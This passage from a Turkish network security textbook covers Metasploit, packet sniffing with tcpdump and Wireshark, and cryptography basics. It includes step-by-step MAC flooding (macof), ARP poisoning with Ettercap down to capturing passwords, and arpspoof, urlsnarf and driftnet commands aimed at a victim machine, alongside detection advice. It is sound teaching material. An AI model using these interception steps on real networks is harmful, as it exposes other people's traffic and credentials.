tanınmış bir port tarayıcı ve bir derleyici olan Zen haritasını da
içermektedir. (https://github.com/rapid7/metasploit-
framework).
Şekil 3-6 msf exploit - meterpreter
3.1.9.5 Metasploit Community Edition
Ekim 2011'de, Rapid7 Metasploit için ücretsiz, web tabanlı bir
kullanıcı arayüzü olan Metasploit Community Edition'ı
yayınladı. Metasploit Topluluğu, ağda keşif, modül tarama ve
manuel kullanım da dahil olmak üzere, indirgenmiş özelliklerin
azaltılmış özellikleriyle paralı sürümlerin ticari işlevselliğine
dayanmaktadır. Metasploit Topluluğu ana yükleyicide yer
almaktadır.
73
3.1.9.6 Metasploit Express
Nisan 2010'da Rapid7, güvenlik açıklarını doğrulamak zorunda
olan güvenlik ekipleri için açık kaynak bir ticari baskı olan
Metasploit Express'i piyasaya sürdü. Grafiksel bir kullanıcı
arabirimi sunan bu sürüm, keşif için haritayı kullanımı ve akıllı
veri toplama tekniklerinin yanı sıra akıllı brute force tekniğini
kullanmaktadır. ekler
3.1.9.7 Metasploit Pro
Ekim 2010'da, Rapid7, penetrasyon test cihazları için açık
çekirdekli bir ticari Metasploit sürümü olan Metasploit Pro'yu
piyasaya sürdü. Metasploit Pro, Metasploit Express
özelliklerine ek olarak Hızlı Başlangıç Sihirbazları / Meta
Modülleri, sosyal mühendislik kampanyaları oluşturma ve
yönetme, web uygulama testi, gelişmiş bir Pro Console, anti-
virüsden kaçmak için dinamik payloadlar, ad-hoc güvenlik açığı
taraması için Nexpose ile entegrasyon gibi özelliklere sahip.
3.1.9.8 Armitage
Armitage, hedefleri görselleştiren ve istismarlar öneren
Metasploit Projesi için grafiksel bir siber saldırı yönetim
aracıdır. Paylaşılan oturumlar, veriler ve tek bir Metasploit
örneği aracılığıyla iletişimi sağlayan kırmızı takım işbirliğine
yaptığı katkılardan dolayı ücretsiz ve açık kaynaklı bir ağ
güvenlik aracıdır (https://www.offensive-
security.com/metasploit-unleashed/armitage/).
3.1.9.9 Cobalt Strike
Cobalt Strike, Strategic Cyber LLC'nin Metasploit Framework
ile çalışması için sunduğu bir dizi tehdit emülasyonu aracıdır.
74
Cobalt Strike, Armitage'ın tüm özelliklerine ek olarak rapor
oluşturma özelliklerini içerir .
(https://attack.mitre.org/wiki/Software/S0154).
3.1.9.10 Exploits
1677’nin üzerinde Metasploit şu platformlar altında organize
edilmiştir: AIX, android, bsd, bsdi, cisco, firefox, freebsd, hpux,
irix, java, javascript, linux, mainframe, multi (birden fazla
platform için geçerli), netbsd, netware nodejs, openbsd, osx,
php, python, R, Ruby, Solaris, Unix ve Windows.
3.1.9.11 Payloads
Şu anda Metasploit 495'ten fazla payload sahiptir. Onlardan
bazıları:
Shell Command, kullanıcıların komut dosyalarını çalıştırmasını
veya ana bilgisayara karşı rasgele komutlar çalıştırmasını
sağlar.
Meterpreter, kullanıcıların bir cihazın ekranını VNC kullanarak
kontrol etmesine ve dosyalara göz atıp yüklemesine ve
indirmesine olanak sağlar.
Dinamik yükler, kullanıcıların benzersiz yükler oluşturarak
virüs koruma programlarından kaçınmasına olanak tanır.
75
4 Bölüm D
4.1 Sniffing Nedir?
Sniffing işlemi yazılımlarla bir ağ üzerindeki veri paketini
yakalamak ve içeriğini okumak olarak tanımlanabilir. Sniffing
yöntemi çoğunlukla ağ uzmanları tarafından ağda bir sorun olup
olmadığını kontrol etmek ya da verilerin şifreli olarak
iletildiğini kontrol etmek amacıyla kullanılır. Kötü niyetli
kişiler ise bu yöntemi şifreleri veya ağ yetkisini ele geçirmek
için kullanabilirler.
Sniffing işleminin yapılabilmesi için yeterli seviyede ağ
bilgisine, ağa erişimin sağlanması ve çalışan bir sniffer
yazılımına ihtiyaç vardır. Sniffing işlemi ile aynı ağ üzerindeki
diğer kullanıcıların verileri kontrol edilebilir yada
şifrelenmemiş veriler kolay bir şekilde ele geçirilebilir.
4.1.1 Sniffer Araçları
Kali linux web sitesi üzerinde Kali Linux Araçlar Listesi
bulunmaktadır. Bu listede sniffing amacıyla kullanılabilecek
birçok araç yer almaktadır.
76
Şekil 4-1 Kali Araçları
Sniffing Araçlarının Kullanım Alanları:
Ağın analizini yapmak için kullanılır.
Ağda oluşan problemleri çözmek için kullanılır.
Ağa yapılabilecek izinsiz girişleri yakalar.
Çalışan uygulamaların ağa etkisini araştırmak için
kullanılır.
Riskli bilgisayarları bulmak için kullanılır.
Ağ arayüzünde oluşan sorunları araştırmak için kullanılır.
Virüsleri, casus yazılımları veya Denial of Servise(DOS)
saldırılarını bulmak için kullanılır.
Tcpdump ve Wireshark ağ arayüzüne ulaşan paketleri
inceleyebilmek için kullanılabilecek iki güçlü araçtır.
4.1.1.1 Tcpdump
Ağ arayüzünden geçen paketleri kaydedebilen veya pcap
destekli herhangi bir araç ile daha önceden kaydedilmiş
paketleri analiz edebilen bir araçtır. Grafik arayüzü kullanılmaz,
komut satırı üzerinden çalışır. Dolayısıyla tüm özelliklerini
komut satırından parametreler ile alır.
77
Büyük ağ trafiğine sahip olan ağlarda istenilen paketleri
yakalayabilme özelliği ile ağ yöneticileri tarafından tercih edilir.
Tcpdump komutu çalıştırıldığında ağ arabirimi promiscous
moda geçer ve komut sonlandırıldığında tekrar normal moda
dönülür. Ağ arabiriminin hangi modda olduğu ifconfig
komutunun çıktısında görülür.
Promiscous Mod: Ağ üzerinde kendimize ait olmayan paketleri
alabilmek için ağ arabiriminin promiscous modda olması
gerekir. Tüm sniffer araçları ağ arayüzünü otomatik olarak bu
moda geçirir ve sniffer işlemi durdurulduğunda tekrar normal
moda geçirir.
NOT: da ifconfig “Ağ Arayüzü Adı” promisc/-promisc
komutu ile ya da ip link set “Ağ Arayüzü Adı” promisc
on/off ile arayüzün promiscous modu aktif veya devre dışı
bırakılabilir.
#tcpdump : Parametresiz kullanımı en basit kullanımıdır.
Sistemde birden fazla ağ arayüzü varsa ve hangi arayüzün
dinlenileceği belirtilmezse ağ arayüz numarası en düşük olanı
dinlemeye alır. Örneğin, eth0, eth1, eth2 şeklinde 3 adet aktif ağ
arayüzü olan bir bilgisayarda tcpdump komutu yalın olarak
kullanıldığında tcpdump eth0 arabirimini dinlemeye alacaktır.
Sık Kullanılan Tcpdump Parametreleri
-D : Tcpdump ile dinlemeye alınabilecek ağ arayüzlerinin
listesini verir.
78
-i “arayüz adı” : İlk arayüz değilde istenilen arayüz dinlenmek
istenildiğinde kullanılır. Örneğin aşağıdaki komut eth1
arayüzünün dinlenmesini sağlar.
-n : Yakalanan paketlerin dns çözümlemesinin yapılması
istenilmediği durumlarda kullanılır.
-nn : Yakalanan paketlerin dns çözümlemesinin yanında port
çözümlemesinin de yapılmasının istenilmediği durumlarda
kullanılır. Yani http yerine 80 yazacaktır.
-t : Zaman damgasının devre dışı bırakılmasını sağlar.
-w : Yakalanan paketlerin bir dosyaya kayıt edilmesi
istenildiğinde kullanılır.
79
-r : Daha önceden kayıt edilen dosyanın okunmasını sağlar.
-w parametresi ile kayıt yaparken diğer parametreler de
kullanılabilir. –r parametresi ile de diğer parametreler
kullanılabilir. w parametresi ile kullanılanların r parametresi ile
de kullanılması gibi bir zorunluluk yoktur.
-c “sayı” : Yakalanacak paket sayısını belirtmek için kullanılır.
Belirtilen sayı kadar paket yakalandığında tcpdump çalışması
durur.
-v : Paketin protokol içeriğini de gösteren detaylı bir analiz
yapar.
-vv : Paketin NFS ve SMB içeriğini de gösteren detaylı bir
analiz yapar.
-vvv : Paketin Telnet içeriğini de gösteren detaylı bir analiz
yapar.
-q : Temel bilgileri içeren bir analiz yapar.
-n : Analizi yaparken transfer yapılan adresin IP adresi ve port
numarasını yazdırır.
-n "ip adresi" : Belirtilen adrese gelen ve giden tüm paketleri
gösterir.
-n dst "ip adresi" : Belirtilen adrese giden paketleri gösterir.
80
-n src "ip adresi" : Belirtilen adrese gelen paketleri gösterir.
-n port "port numarası" : Belirtilen porta göre filtreleme
yapar.
-n dst port "port numarası" : Hedef porta göre filtreleme
yapar.
-n src port "port numarası" : Kaynak porta göre filtreleme
yapar.
-n dst net "ağ adresi" : Belirtilen adrese giden paketleri
gösterir.
-n src net "ağ adresi" : Belirtilen adrese gelen paketleri
gösterir.
-n net "ağ adresi" : Belirtilen adrese gelen ve giden paketleri
gösterir.
Örnek-1: Kaynağı 192.168.2.38 olan, 80 veya 443 numaralı
porttan giden ilk 5 paketi yakalayan komut satırı.
Örnek-2: 192.168.2.0/24 ağından çıkarak 80 numaralı porta
giden paketlerin listelenmesi.
81
4.1.1.2 Wireshark
Grafik arayüzü kullanılarak kurulu olduğu bilgisayar üzerinden
ağ trafiğinin izlenmesini, kayıt edilmesini veya daha önceden
kayıt edilen dosyaların incelenmesini sağlayan programdır.
Şekil 4-2 Wireshark bölümleri - 1
1) Ana menünün bulunduğu kısımdır.
2) Sık kullanılacak işlemlerin kısayollarının bulunduğu
yerdir.
3) Ağ trafiğinin filtrelenebilmesi için kullanılan kısımdır.
4) Daha önceden açılan dosyalar gösterilir.
5) Ağ trafiğini izlemek amacıyla yakalanacak paketlerin
filtrelendiği kısımdır.
6) Ağ trafiğini izlemek için kullanılabilecek ağ arayüzlerini
gösterir.
7) Wireshark hakkında daha fazla bilgi edinmek amacıyla
kullanılabilecek bölümdür.
Uygulama başlatıldığında yukarıdaki gibi bir ekran açılacaktır.
Yukarıdaki karşılaşılan ilk ekrandan Capture sekmesinden
veya sonrasında ana menüden Capture/Options sekmesi
altından dinleme işleminde kullanılabilecek ağ arayüzleri
82
listelenir. Dinlemek istenilen ağa ait olan ağ arayüzü seçilir.
Buradan ve Start butonuna basılır.
Şekil 4-3 Wireshark bölümleri-2
1. Paketlerin filtreleme seçeneklerinin bulunduğu bölümdür.
2. Paketlerin listelendiği bölümdür.
3. Yakalanan paketler içerisinden seçilen paket ile ilgili
detayın görüntülendiği bölümdür.
4. Seçilen paket için hex dump halinin görüntülendiği
bölümdür.
5. Genel bilgilerin bulunduğu bölümdür. Bu bölümde
yakalanan paket sayısı, görüntülenen paket sayısı ve profil ismi
görüntülenir.
Ağ üzerinde akan trafiğin tamamı görüntülendiği için çoğu
zaman incelenecek trafiğin dışında pek çok paket bilgi kirliliği
yaratır ve inceleme yapılmasını güçleştirir. Filter bölümüne çok
çeşitli filtreler girerek sadece ilgilenilen trafiğin gösterilmesi
sağlanabilmektedir.
1
2
3
4
5
83
Capture Filter: Yakalanacak paketlerin türü, portu, protokol
bilgisi önceden belirtilerek hedef odaklı bir paket analizi
yapılabilir.
Display Filter: Yakalanan paketlerin içerisinden istenilen
özelliklerdeki paketlerin ayıklanması kısmında kullanılabilir.
Sık Kullanılan Bazı Wireshark Filtreleri Ve Örnek Kullanım
eth.addr: Kaynak veya hedef mac adresi
eth.addr == 54:2e:6b:ce:fc:bb
eth.src: Kaynak mac adresi
eth.src == 54:2e:6b:ce:fc:bb
eth.dst: Hedef(destination) mac adresi
eth.dst == 54:2e:6b:ce:fc:bb
arp.dst.hw_mac: Hedef(target) mac-adresi.
arp.dst.hw_mac == 54:2e:6b:ce:fc:bb
arp.dst.proto_ipv4: Hedef(target) IPv4 adresi
arp.dst.proto_ipv4 == 10.10.10.10
arp.src.hw_mac: Gönderici mac adresi
arp.src.hw_mac == 00:1a:6b:ce:fc:bb
arp.src.proto_ipv4: Gönderici IPv4 adresi
arp.src.proto_ipv4 == 10.10.10.10
vlan.id: VLAN ID
84
vlan.id == 16
ip.addr: Kaynak veya hedef IPv4 adres
ip.addr == 10.10.10.10
ip.dst: Hedef IPv4 adres
ip.addr == 10.10.10.10
ip.src: Kaynak IPv4 adres
ip.src == 10.10.10.10
tcp.port: Kaynak veya hedef TCP port
tcp.port == 20
tcp.dstport: Hedef TCP port
tcp.dstport == 80
tcp.srcport: Kaynak TCP port
tcp.srcport == 60234
udp.port: Kaynak veya hedef UDP port
udp.port == 513
udp.dstport: Hedef UDP port
udp.dstport == 513
udp.srcport: Kaynak UDP port
udp.srcport == 40000
Örnek Filtre İfadeleri:
85
1) ip src host 192.168.2.10 && ! arp && port ! 53
Kaynağı 192.168.2.10 olan, arp paketi olmayan ve dns olmayan
paketler yakalar
2) tcp port 23 && host 192.168.2.20
192.168.2.20 makinasından yapılan telnet bağlantılarını
yakalar.
3) tcp port 25 && dst host 192.168.2.50
192.168.2.50 ye yapılacak smtp bağlantılarını yakalar.
4) tcp.port eq 21 or icmp
FTP veya ICMP trafiğini gösterir.
5) ip.src==192.168.1.0/24 and ip.dst==10.0.0.0/8
192.168.1.0/24 ağından 10.0.0.0/8 ağına yapılan iletişimi
gösterir.
6) 6-http.request.method == "GET" && ip.src == 192.168.2.10
İfade ile kaynağı 192.168.2.10 olan makinanın trafiği içinde
http istek metodu get olan paketleri görüntüler.
86
4.1.1.3 Karşılaştırma Operatörü:
İngilizce Format C Benzeri Format: Anlamı:
eq == Eşit
ne != Eşit değil
gt > Daha büyük
lt < Daha küçük
ge >= Daha büyük ya da eşit
le <= Daha küçük ya da eşit
4.1.1.4 Mantıksal İfadeler:
İngilizce
Format C Benzeri Format Anlamı:
and && Mantıksal AND
or || Mantıksal VEYA
xor ^^ Mantıksal DIŞLAYAN VEYA
not ! Mantıksal DEĞİL
4.1.2 Anahtarlı Ağların Dinlenmesi
4.1.2.1 Mac Flooding : Mac Seli
Rastgele mac adresleriyle birlikte switche yapılan saldırıdır.
Switchler mac adresi tablolarında bağlı bulundukları ağ
üzerindeki Ethernet kartlarının mac adresi, vlan bilgisi, port
bilgisi ve adres tipi bilgilerini tutarlar. Bir bilgisayar üzerinden
mac adresini değiştirerek fazla sayıda bilgi gönderildiğinde
switch üzerindeki mac adres tablosu dolar. Tablonun dolması
sonrasında switch hub gibi çalışmaya başlar ve her bilgi aynı
yerel ağda olan herkese gönderilir.
Kali Linux üzerinde mac flooding işlemi macof komutu ile
yapılır.
87
macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
[-n times]
-i interface Arayüz belirtilir.
-s src Kaynak ip adresi
-d dst Hedef ip adresi
-e Specify Hedef mac adresi
-x sport Kaynak port numarası
-y dport Hedef port numarası
-n times Gönderilecek paket sayısı
Yukarıda görüldüğü gibi random olarak kaynak mac
adreslerinin portlarından hedef mac adreslerinin portlarına
iletişim kurulmaya çalışılmaktadır.
4.1.2.2 Arp poisoning : Arp zehirlenmesi
Bir ağda bilgisayarın düzgün haberleşebilmesi için ip adresi,
mac adresi ve varsayılan ağ geçidine ihtiyaç vardır. Hedef
bilgisayar aynı ağda olduğunda veya hedef ağ ulaşıldığında
paketin hedef bilgisayara teslim edilmesi fiziksel katman
üzerinden yapılır. Bu iletimde artık MAC adresine göre hedef
belirlenir ve paket bu doğrultuda yönlendirilir. Paketin
iletileceği hedefin mac adresinin bilinmesi gerekir. Bilinmeyen
88
mac adreslerin öğrenilmesini sağlayan işleme ARP (Adress
Resolution Protocol) denir.
Arp mesajları yalnızca iç ağ sınırlarında dolaşır. Bir ağ
içerisinden başka bir ağa gönderilemez. Farklı ağa giderken
hedef mac adresinde varsayılan ağ geçidinin mac adresi yazar,
varsayılan ağ geçidi de o başlığı değiştirip bir sonraki varılacak
adresi yerleştirir.
Şekil 4-4 Arp Zehirleme
Yukarıdaki şekilde kurban, varsayılan ağ geçidi üzerinden
internete çıkar. Eğer saldırgan, kurbana kendini varsayılan ağ
geçidi gibi, routera da kendini kurban bilgisayar gibi tanıtırsa
kurban bilgisayarın internet iletişimi artık saldırgan üzerinden
geçer. Böylelikle saldırgan, kurbanın tüm iletişimini görebilir.
Örnek Uygulama:
10.0.7.84 ip adresli kurban bilgisayar 10.0.7.133 ip adresli
saldırganın arp zehirlemesi işlemi sonrasında internet
bağlantısını saldırgan üzerinden kurmak zorunda kalacaktır.
89
Şekil 4-5 Arp zehirleme örneği
1- Kurban bilgisayarın ip adresi ve ARP tablosu
2- Saldırgan bilgisayarın ip adresi ve ARP tablosu
90
3- Saldırgan bilgisayarda ettercap uygulaması başlatılır.
Uygulama üzerinde menüden Sniff Unified Sniffing
seçeneği ile bağlı olduğu ağ arayüzü işaretlenir.
Şekil 4-6 Ettercap
4- Host Scan for hosts seçeneği ile ağ üzerinde bağlı
bilgisayarlar bulunur.
Şekil 4-7 Ettercap- host ların taranması
5- Host Host List ile ağ üzerindeki bilgisayarlar listelenir.
91
Şekil 4-8 Ettercap host ların listesi
6- 10.0.7.84 ip adresine sahip olan ve zehirleme yapılacak olan
bilgisayar seçilerek Add to Target 1 seçeneği ile eklenir.
Aynı ağdaki bir hedef ile kurban arasına girilecek ise hedef
bilgisayar , ağ dışına çıkacak paketleri izlenecekse Varsayılan
Ağ Geçidi bilgisayarı Add to Target 2 seçeneği ile eklenir.
Aynı ağda olduğunda varsayılan ağ geçidini zehirlemeye gerek
yoktur.
7- Mitm ARP poisoning seçeneği ile zehirleme işlemi
başlatılır.
Şekil 4-9 Ettercap - Arp zehirleme
92
8- Ettercap üzerinde Plugin’ler bulunur . Menü üzerinden
Plugins Manage the plugins seçeneği ile pluginler
incelenebilir.
chk_poison: Arp zehirleme saldırısının başarılı olup olmadığını
gösterir.
Şekil 4-10 Ettercap check poisoning
Repoison_arp: Belirli aralıklarla zehirlemeye devam eder
böylece Mac adres tablosunda ki girdi için süre dolup girdi
silindiğinde tekrardan tabloyu doldurur.
Remote_browser: Saldırı yapılan cihazın browser ile ulaşmaya
çalıştığı linkler direkt olarak ettercap ekranında alt bloğa
yansıtılır.
9- Kurban üzerinden hedef bilgisayara girilmek istenildiğinde
tüm bağlantı bilgileri ViewConnections seçeneği ile açılan
sekmeden incelenir.
93
Şekil 4-11 Ettercap - bağlantılar
10- İstenilen bağlantı çift tıklandığında açılan Connection data
sekmesinden girilen parola bilgiler elde edilebilir.
Şekil 4-12 Ettercap ile bilginin yakalanması
4.1.2.2.1 ARP Spoffing
ARP Spoffing, bir diğer adıyla ARP zehirlenmesidir. Ağ
içerisindeki IP adresi ve MAC Adresi eşleşmelerine müdahale
ederek ağ geçidi ile bilgisayarların arasına girilmesi olarak
tanımlanabilir. Yerel ağ içerisindeki bilgisayarın
haberleşebilmesi için öncelikli olarak ARP protokolü kullanılır.
Bir saldırgan ağ içerisinde hedefin ve ağ cihazının ARP
tablolarını zehirlediğinde, yani kendi MAC Adresini hedef
bilgisayarın tablosuna “Ağ Geçidi MAC Adresi” olarak, ağ
geçidi ARP tablosuna ise “Hedef Bilgisayar MAC Adresi”
olarak yazdırırsa, araya girmiş olur. Bu durumda hedef
bilgisayar ile ağ cihazı arasında bulunana trafik saldırganın
94
üzerinden geçer. Saldırgan bu trafiği dinleyebilir ve
değiştirebilir.
Spoof işlemini gerçekleştiren saldırgan hedef bilgisayar ile ağ
geçidi arasına girebilmesi gerekmektedir. Bu durumda iletişim
saldırgan üzerinden gerçekleştirilmesi gerekir. Linux işletim
sistemlerinde bu işlem için “/proc/sys/net/ipv4/ip_forward”
değerinin “1” olması gerekir.
İp forward değerini öğrenebilmek için terminal üzerinde
aşağıdaki komut çalıştırılır.
cat /proc/sys/net/ipv4/ip_forward
Yukarıdaki sonuç eğer “0” ise yönlendirme aktif değildir. Aktif
hale getirebilmek için aşağıdaki komut çalıştırılır.
echo 1 > /proc/sys/net/ipv4/ip_forward
Kali Linux ile beraber gelen “arpspoof” aracı ile ağ cihazı ve
kurban arasına girilebilir. “arpspoof” aracı ağ içerisinde
istenilen ARP paketlerini oluşturarak, hedefe gönderir ve
hedefin ARP tablosunu zehirlemeye çalışır.
İşlemlere başlamadan önce hedef bilgisayardan alınmış olan
ARP Tablosu aşağıdaki ekran görüntüsünde bulunmaktadır.
“arpspoof” aracı aşağıdaki gibi komutlar ile kullanılabilir.
Hedef IP adresinin sonuna/24 eklenerek ağa bağlı tüm
bilgisayarların ARP Tablosu zehirlenebilir. Yazı içerisinde
sadece bir bilgisayar ile ağ cihazı arasına girilmiştir.
Öncelikle hedefin ARP tablosunu zehirlenecektir, bunun için
aşağıdaki komut kullanılmıştır.
arpspoof -i [AĞ ARAYÜZÜ] -t [HEDEF IP] [AĞ CİHAZI IP]
95
Yukarıdaki komut çalıştırıldığında hedef bilgisayarın ARP
tablosunu zehirlemek için sürekli olarak ARP REPLY paketleri
hedefe gönderilmektedir. Aşağıda ilgili ekran görüntüsü
bulunmaktadır.
Ardından ağ cihazının ARP tablosunu zehirlenir, bunun için
aşağıdaki komut kullanılır.
arpspoof -i [AĞ ARAYÜZÜ] -t [AĞ CİHAZI IP] [HEDEF IP]
Yukarıdaki komut çalıştırıldığında ağ cihazının ARP tablosunu
zehirlemek için sürekli olarak ARP REPLY paketleri hedefe
gönderilmektedir.
ARP REPLY paketleri gönderilerek ağ cihazı ile hedef
bilgisayar arasına girilir. Aşağıdaki ekran görüntüsü hedef
bilgisayar üzerinden alınmıştır ve saldırgan MAC adresi ARP
tablosuna yazılmıştır. Yani, hedef bilgisayarın ARP tablosu
zehirlenmiştir.
Artık saldırgan hedef bilgisayar ile ağ cihazının arasına girmiş
bulunmaktadır. Hedef ile ağ cihazı arasındaki trafik saldırganın
üzerinden geçmektedir ve saldırgan bu akan trafiği dinleyebilir,
değiştirebilir.
4.1.2.3 Listen to Traffic with URLSNARF
Kali Linux üzerinde kurulum halde bulunan “urlsnarf” aracı ile
hedefin istekte bulunduğu trafik dinlenebilir. Bunun için
kullanılacak olan komut aşağıda bulunmaktadır.
96
urlsnarf –i [AĞ ARAYÜZÜ]
4.1.2.4 Driftnet Drawing Pictures from Traffic
Kali Linux kurulumu ile beraber gelen “driftnet” aracı, ARP
Spoofing ile MITM saldırısı gerçekleştirilmiş ortamlarda
kurbanın tarayıcısında istekte bulunduğu sayfalarda bulunan
resimleri çeker. Aşağıdaki komut ile çalıştırılır.
driftnet -i [AĞ ARAYÜZÜ]
Şekil 4-13 Driftnet ile ağ trafiğinden alınan bilginin çizilmesi
4.1.3 Sniffing Saldırılarının Tespiti
4.1.3.1 Mac Flooding Tespiti
Mac flooding işlemini önlemek istendiğinde fiziksel arayüzün
maksimum öğrenebileceği MAC adresi sayısı kısıtlanması
gerekmektedir.
Örnek: switchport port-security maximum 5
97
4.1.3.2 Arp Poisoning Tespiti
ARP zehirlemesi saldırısına örnek olarak şekilde bir
bilgisayardan ağa arp request paketleri yağdığında, filtre ifadesi
olarak arp yazarsak paketler arasından arp paketleri filtrelenir.
Bu filtre sonucunda oluşan saldırının tespiti yapılır.
Şekil 4-14 arp poisonınig tespiti
4.1.3.3 ARP Spoffing Tespiti
ARP spoofing`e saldırısına karşı yapılabilecek tam bir savunma
yoktur. Mümkün olan tek savunma statik (değişmeyen) ARP
kayıtları kullanmaktır. Statik kayıtlar her gelen istek ile
güncelleme yapılmadığından spoof edilmiş ARP cevapları
dikkate alınmaz ve gözardı edilir. Spoofing`i engellemek için
ağdaki her makine için statik kayıt gerekir. Statik mac adresi
kayıtları oluşturmak ve güncel tutmak zor olması sebebiyle
çoğu LAN için uygun değildir.
98
4.2 Şifreleme
Herkes tarafından okunabilecek metinleri, dosyaları
başkalarının okuyamayacağı bir hale getirme yöntemidir.
İnsanlar tarih boyunca mesajlarını, iletişim kurduğu kişiler
dışında kimsenin okuyamaması için çeşitli şifreleme yöntemleri
geliştirmişlerdir. Şifreleme yöntemleri matematiksel
algoritmalar kullanılarak oluşturulmuştur. Şifreleme veya şifre
çözme işlemleri yapılırken anahtarlar kullanılabilir.
Bilgisayarların hayatımıza girmesi ile birlikte şifreleme ve şifre
çözme işlemleri daha fazla önem kazanmıştır. Günümüzde
internetin bütün önemli bilgileri taşıyan bir ortam olduğu
düşünülürse şifrelemenin önemi daha iyi anlaşılacaktır.
Parola ve şifre birbirlerine karıştırılan kavramlardır. Parola
kullanıcı tarafından belirlenir ve gizli bilgilere erişim için
kullanılır. Şifre ise çeşitli algoritmalar ve anahtarlar kullanılarak
bilginin çözülemeyecek hale getirilmiş halidir.
Mesaj şifrelenirken ve çözülürken aynı anahtar kullanılabileceği
gibi farklı anahtar veya birden fazla anahtar da kullanılabilir.
Şekil 4-15 Anahtar ile şifreleme
99
Şifreleme yönteminde kullanılan anahtar sabit(DES) ya da
değişken(RC5) olabilir.
4.2.1 Simetrik Şifreleme
Aynı anahtarın hem şifreleme hem de çözmek için kullanıldığı
temel şifreleme tipidir. Bu yöntemde anahtarın çözülmesi
şifrenin çözülmesi anlamına geldiği için, anahtarın karşıya gizli
olarak iletilmesi gerekir.
Avantajları :
Kullanımı kolaydır
Az kaynak kullanımı
Çalışma hızı yüksektir
Donanım ile birlikte kullanılabilir.
Dezavantajları :
Anahtarın gizli bir şekilde iletilmesi zordur
Simetrik şifrelemeye örnek olarak harf kaydırma şifrelemesini
(shift cipher) ele alalım. Bu şifreleme tipinde anahtar 4 ise harf
kendinden sonraki 4. harf olacaktır. (Örneğin : a -> e , b -> f , z
-> d bu örnekte şifreleme ingilizce alfabe için yapılmıştır). Bu
durumda şifreleme işlemini yapmak için, şifrelenecek düz metin
(plain text), Veriyi şifrelemek için şifreleme algoritması
(encryption algorithm) ve şifreleme anahtarı (key) kullanılarak
mesajımız şifreli mesaja çevrilecektir (chiper text).
İletilecek mesajımız “ZONGULDAK MESLEKI TEKNIK
ANADOLU LISESI” olsun. Mesajımız 4 anahtarı ile şifrelenip
aradaki boşluklar silindiğinde
“DSRKYPHEOQIWPIOMXIORMOEREHSPYPMWIWM”
haline gelecektir. Kelimeler arasındaki boşluklar kaldırılarak
mesajımızın çözülmesi zorlaştırılmıştır.
100
DES (Data Encryption Standart -Veri Şifreleme Standartı)
Belirli metin uzunluklarındaki blokları şifrelemektedir. 56 bitlik
bir uzunluğa sahiptir ve her kullanımında yeni bir anahtar
üreterek kullanır. Fakat 56 bitlik şifreleme günümüzde
rahatlıkla kırılabildiği için bu şifreleme yöntemi yerini AES
şifreleme yöntemine bırakmıştır.
4.2.2 DES (Data Encryption Standart - Veri Şifreleme
Standartı)
Belirli metin uzunluklarındaki blokları şifrelemektedir. 56 bitlik
bir uzunluğa sahiptir ve her kullanımında yeni bir anahtar
üreterek kullanır. Fakat 56 bitlik şifreleme günümüzde
rahatlıkla kırılabildiği için bu şifreleme yöntemi yerini AES
şifreleme yöntemine bırakmıştır
4.2.3 Anahtar ikilisi ile Şifreleme
Bu anahtarların yönetimini sağlayan sisteme PKI (Public Key
Infrastructure) Açık Anahtar Altyapısı denir.
Şifreleme ve şifre çözme için farklı anahtarların kullanıldığı bir
yöntemdir. Bu yöntemde bir herkese açık (Public), bir de özel
(Private) şifre bulunmaktadır. Gönderilen mesajın sadece alıcı
tarafından erişilmesi istenildiği durumlarda, alıcı için bir açık
anahtar (Public key) oluşturulur ve bu anahtar kullanılarak
mesaj şifrelenir. Alıcı ise kendi özel anahtarını (private key)
kullanarak mesajın şifresini çözer. Bu sistemde açık anahtar
üzerinden özel anahtarın bulunması mümkün değildir. Bu
yöntemi kullanan şifreleme tiplerinden en bilineni RSA ‘dır.
Avantajları :
Anahtar güvenliği ve dağıtımı kolaydır.
Her kullanıcı kendi anahtarından sorumludur.
101
Dezavantajları :
Mesaja eklenen şifreleme bilgisi iletilen verinin boyutunu
artırır.
Simetrik şifrelemeye göre daha fazla kaynak tüketir
4.2.4 Tek Yönlü - Anahtarsız Şifreleme (Hash Fonksiyonları)
Mesaj iletme amacı ile değil, onaylama amaçlı şifreleme tipidir.
Bu yöntemle şifrelenmiş veri geri döndürülemez. Tek yönlü
şifreleme için belli algoritmalar kullanılır. Verilerin boyutuna
bakılmaksızın aynı uzunlukta çıktı (hash) üretilir. Md5 ve Sha1
başta olmak üzere md4, md2, sha, dgst, sha512 ve mdc2 gibi
hash fonksiyonları vardır.
Kullanıldığı yerler :
Bir dosya için hesaplanan hash değeri dosya üzerinde bir
değişiklik yapıldığı zaman değişeceği için dosyaların üzerinde
herhangi bir değişiklik yapılıp yapılmadığını tespit etmek için
kullanılır.
Kimlik belirleme gereken uygulamalarda kullanılır.
İnternette özellikle VPN ve SSL üzerinde kullanılır.
Örneğin MD5 hesaplama yazılımlarını kullanarak “İnternette
güvenlik” kelimesini şifrelediğimizde 32 karakter
uzunluğundaki “24c40b8cb82446f0ddb00dcea8897223”
değerini elde ederiz..
4.2.5 Encoding/Decoding
Verinin başka bir biçimde ifade edilmesi işlemidir. Bu işlem
şifreleme değildir. Geriye kolayca çevrilebilen algoritmalardır.
Hex encoding, url encoding, Base64 encoding, utf8 encoding bu
kodlama tiplerinden bazılarıdır.
102
4.2.6 Steganografi
Yunanca “gizli yazı” anlamına gelmektedir. Taşınmak istenen
mesajın masum görünüşlü bir ortamın altına saklanarak, üçüncü
şahısların iletilen mesajın varlığından haberdar olmaları
engellenir. İkinci dünya savaşında kullanılan bir steganografi
aşağıdaki gibidir.
“Apparently neutrals protest is thoroughly discounted and
ignored. Isman hard hit. Blockade issue affects pretex for
embargo on by-products, ejecting suets and vegeTablooils.”
Bu paragrafın her kelimesinin ikinci harfleri yan yana
yazıldığında
“Pershing sails from NY June 1”
Gizli mesajı ortaya çıkmaktadır. Günümüzde bilgisayarların
işlem gücü ve saklanan verinin çokluğu bize steganografi için
uygun bir ortam sağlamaktadır. Steganografi bir şifreleme
yöntemi değildir fakat şifrelemenin bir parçası olarak
görülebilir. İletilecek veri şifrelendikten (Encrypt) sonra
steganografik yöntemlerle dijital verilerin içine saklanabilir.
İçinde gizli bilgi bulunan taşıyıcıya “stego” denir.
103
4.2.6.1 Steganografi Aracıs
İnternette bu alanda kullanılan pek çok yazılım mevcuttur. Bu
araçların kullandığı algoritmalar, destekledikleri dosya türleri
farklılık göstermektedir.
4.2.6.1.1 Steghide
Resim ve ses dosyalarının içine veri gizleyebilmemizi sağlayan
bir steganografi aracıdır. JPG, BMP, WAV dosya uzantılarını
destekler.
Kurulumu;
$ sudo apt-get install steghide
